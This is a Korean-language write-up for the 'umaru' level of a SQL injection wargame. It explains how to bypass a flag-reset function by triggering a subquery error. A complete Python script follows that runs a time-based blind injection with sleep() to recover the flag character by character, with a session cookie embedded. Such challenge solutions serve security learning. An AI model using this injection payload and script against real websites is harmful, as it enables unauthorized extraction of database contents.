코드 윗부분을 보면 function이 정의되어 있다. flag를 리셋 시키는 거 같은데
new_flag에 해쉬값의 8번째 문자를 시작으로 16개의 문자를 담는다. 그 후에 if값이 참이라면 insert into 구문을 사용해서 테이블에 데이터를 넣고 update문을 이용해서 flag값을 수정한다.
문자 필터링에는 id, where, order, limit, , 등이 있었고 flag값이 100자를 넘으면 안된다.
realflag변수는 말 그대로 realflag를 가지고
입력한 flag 값은 prob_umaru_temp라는 테이블에 넣어준다.
real flag값과 temp flag값이 다르면 reset_flag()함수를 실행하는데 이 부분을 우회해야 flag값을 부르트포싱 할 수 있다.
연산 우선순위에 의해서 sleep()함수 내부에 length(flag)={0}를 넣어주고 이에 따른 true, false 값이 리턴 될 것이다.
그리고 (select 1 union select 2)는 Subquery returns more than 1 row에러가 나기 때문에
update prob_umaru_temp set flag ={$_GET[flag]}구문부터 아래는 처리 되지 않는다. 이런식으로 sleep함수를 이용하여 블라인드 인젝션을하고 에러로 reset_flag()함수의 실행을 막는다.
다른이야기지만 mysql은 query 최적화를 위해 or 이전에 값이 true이면 or이후의 절은 확인하지 않는다. 즉 or 뒤에 sleep이 있다면 실행 되지 않는다는 것.
import urllib2
import time
headers={"User-Agent" : "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36","Cookie": "__cfduid=d801ac695e6807aeabe31f3b42483360c1520211570; PHPSESSID=dn70g3n70fevi6e1e1rfp4ml82"}
for i in range(1,20):
t1=time.time()
url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((length(flag)={0})*2)%20=(select%201%20union%20select%202)".format(str(i))
request=urllib2.Request(url,None,headers)
response=urllib2.urlopen(request)
res=response.read()
t2=time.time()
print "t2-t1 : ",t2-t1
if t2-t1>2:
print "flag length : ", i
break
string="0123456789abcdefghijklmnopqrstuvwxyz!@#$%^&*()_-=+"
result=""
for i in range(0,16):
for k in range(0,50):
t1=time.time()
url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag=sleep((flag%20like%20%27{0}{1}%%27)*2)%20=(select%201%20union%20select%202)".format(str(result),str(string[k]))
request=urllib2.Request(url,None,headers)
response=urllib2.urlopen(request)
res=response.read()
t2=time.time()
print str(i)+"\t"+str(k)
if t2-t1>2:
result+=string[k]
print
break
print result
print ('Password is '+result)
url="http://los.eagle-jump.org/umaru_6f977f0504e56eeb72967f35eadbfdf5.php?flag="+result
request=urllib2.Request(url,None,headers)
response=urllib2.urlopen(request)
res=response.read()
print (res)
los_umaru.py